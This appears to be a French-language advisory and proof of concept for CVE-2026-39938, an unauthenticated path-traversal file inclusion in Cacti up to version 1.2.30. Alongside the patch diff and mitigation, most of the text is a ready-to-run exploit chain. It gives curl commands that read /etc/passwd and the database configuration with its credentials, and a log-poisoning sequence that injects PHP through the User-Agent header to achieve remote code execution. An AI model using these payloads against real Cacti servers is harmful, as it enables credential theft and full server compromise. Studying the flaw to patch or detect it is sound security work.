CVE-2026-39938 : Cacti <= 1.2.30 - LFI non authentifié

Résumé exécutif

Champ	Valeur
ID CVE	CVE-2026-39938
Score CVSS	9.8 (Critique)
Produit affecté	Cacti
Versions affectées	<= 1.2.30
Version corrigée	1.2.31
Commit de correction	9871f0c

Détails de la vulnérabilité

Cause racine

La vulnérabilité existe dans lib/rrd.php où le paramètre graph_theme est utilisé directement sans assainissement :

CODE VULNÉRABLE :

if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

CODE CORRIGÉ :

if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

Le problème : aucune validation contre les séquences de traversée de chemin ../, permettant aux attaquants de lire des fichiers arbitraires sans authentification.

Preuve de concept (PoC) - Étapes simples

Étape 1 : Vérifier la vulnérabilité - Lire /etc/passwd

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

Résultat : Le contenu de /etc/passwd sera affiché dans la réponse.

Étape 2 : Lire la configuration de la base de données

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

Résultat : Les identifiants de base de données (nom d'utilisateur, mot de passe) seront exposés.

Étape 3 : Exécution de code à distance via empoisonnement de logs

3.1 Injecter du code PHP dans le journal Apache

curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 Exécuter le code en incluant le fichier de journal

curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

Résultat : La sortie de la commande (ex. uid=33(www-data)) sera affichée.

Points de terminaison courants testés

Exemples d'URL de PoC

Test LFI de base

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

Lire la config de l'application

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

Empoisonnement de logs (Injection)

http://target-cacti/graph_image.php?local_graph_id=1

Avec l'en-tête : User-Agent: <?php system('id'); ?>

Empoisonnement de logs (Exécution)

http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

Correction

Mettre à jour vers la version corrigée

cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

Vérifier l'application du correctif

grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

Atténuation temporaire (.htaccess)

RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

Références

W.P.E.F

Rapport généré à des fins de recherche en sécurité Date : 27 juin 2026

`/graph_image.php`	`graph_theme`	`../../../../../../../etc/passwd`
`/graph_image.php`	`graph_theme`	`../../../../include/config.php`
`/graph_image.php`	`graph_theme`	`../../../../../../../var/log/apache2/access.log`

By-Poloss..-..CVE-2026-39938

Populaires